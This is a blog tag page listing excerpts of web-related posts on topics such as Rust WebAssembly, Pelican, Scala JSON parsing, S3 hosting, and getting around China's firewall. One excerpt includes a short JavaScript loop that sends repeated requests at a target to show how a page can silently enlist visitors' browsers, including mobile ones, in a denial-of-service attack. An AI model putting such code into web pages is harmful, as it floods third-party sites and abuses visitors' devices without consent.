Tag: web

A simple way to run Rust WebAssembly in a browser

The [cached]Rust WebAssemply book has a detailed introduction to WebAssembly in Rust; unfortunately it's example setup is somewhat complicated and requires the use of npm just to run show a simple Hello World! message in the browser.

Luckily, there's a simpler way to get started if you don't care about npm modules.

First, follow the [cached]setup instructions to install the rust toolchain, wasm-pack and cargo-generate. You don't need npm.

Clone the example project template:

cargo generate --git https://github.com/rustwasm/wasm-pack-template

which will prompt you for a project name, in the following we'll assume you used browser-wasm …


Censorship and the Great Firewall

I just arrived in China for my vacation and noticed one thing immediately: All kinds of useful sites are blocked. Google Search and Maps, Gmail and Facebook. This is a major pain in the ass for doing anything from looking up directions to uploading pictures for those back at home, not even to speak of any human rights aspects.

My initial approach was using OpenVPN on my phone, but that doesn't seem to work - Facebook is still blocked, etc. What does help is ssh -D <PORT> <HOST>, but even that seems to get slowed down after some use. It's enough …


Fighting Link Rot

Gwern's post on [cached]link rot got me thinking. Periodically checking links to see if they are broken is nice, but not really an adequate solution - content might already have disappeared by the time I realize. Besides, websites change a lot, in a year a site might look very different from what I linked to originally. This might be acceptable if I'm linking to the site in general, but unacceptable if linking to a very specific post.

Since I had a free Sunday morning anyway, I set out to create a [cached]Pelican Plugin that would automate this process for …


New Backend, New Style

After being fed up with the intricate dance necessary to set up Ruby to get Octopress to run for quite some time, I decided that it was finally time to migrate to a better blogging system. A replacement was quickly found: [cached]Pelican. It's based on Python, quick and easy to install (no annoying version incompatabilities) and has a lot of nice plugins and themes.

Which gave me the excuse to go hunt for a nice clean theme - I had been jealous of all those minimalist blogs. So here it is, new blog, new theme, and - next post in a …


Beautiful JSON parsing in Scala

You probably all know JSON - it's becoming the universal data exchange format, slowly but steadily replacing XML. In JavaScript, JSON is a proper first class citizen:

person = {
  "name": "Joe Doe",
  "age": 45,
  "kids": ["Frank", "Marta", "Joan"]
};

person.age;        // 45
person.kids[1];    // "Marta"

Sadly, it's not as easy in other languages. Scala does have a JSON parser in the standard library ([cached]scala.util.parsing.json.JSON), but it is terrible slow and the output is still not very nice.

val person_json = """{
  "name": "Joe Doe",
  "age": 45,
  "kids": ["Frank", "Marta", "Joan"]
}"""

val person = scala.util.parsing.json.JSON.parseFull(person_json …

dDoS - now on a phone near you

You may or may not now that your desktop browser can do arbitrary http requests using java script, all without any action from you. Of course, this can be abused to dDoS websites into oblivion, [cached]as shown by Anonymous. Funny thing is, this also works on mobile browsers - and you can't even tell that anything is happening if the site is at least a little clever.

Implementation is astonishingly simple:

function loop() {
    for(var i = 0; i < requestsPerLoop; i++) {
        try {
            var xhr = new XMLHttpRequest();
        xhr.open('GET', target + "?dummy=" + i, false);
        xhr.send();
      } catch(e) {}

      setTimeout("loop()", 100);
    }
}

We …


Better privacy with 2-click social buttons

Today I noticed that the social network buttons on my blog had disappeared - I quickly realized that this was because I had recently reset my theme. Of course, I had to bring those buttons back, but better. By chance, I stumbled over the [cached]socialshareprivacy project (sorry, german only. [cached]project site with downloads) of german news site and publisher heise.

I was intrigued. Not only because this would mean better privacy, but also because of another welcome side effect: Faster page load times! After all, if we only load those buttons and their .js and .css files when we …


gzip your Octopress

When I read Hacker News today, I found a very cool post: Make your website fast. (And why you should). Of course, I wanted to try this out myself - one of the major reasons I went to S3 for hosting was increased speed.

Now by default, octopress doesn't include anything to help you here - S3 requires that you gzip your static content files manually. Aditionally, you have to set the correct content header! Now, a bit of googling quickly led me to an excellent post from Frank Fusion. (After some trial and error with the aws/s3 gem from ruby …


Retro-Hosting on Amazon S3 - why you don't need a fancy VPS for your website

When I recently searched for a solution to host a large VM for a client to download, I remembered Amazon S3. Why deal with some shitty One-Click Hoster if I can just upload it to Amazon, pay a few cents and enjoy fullspeed and direct downloads?

The following night, I realized that I could just as well use this to host my website. Why waste a VPS on the task if the content hardly ever changed? Just generate the html files in advance and then use S3 to serve them. Obviously, I wasn't the first to come upon this idea …

© Julian Schrittwieser. Built using Pelican. Theme by Giulio Fidente on github. .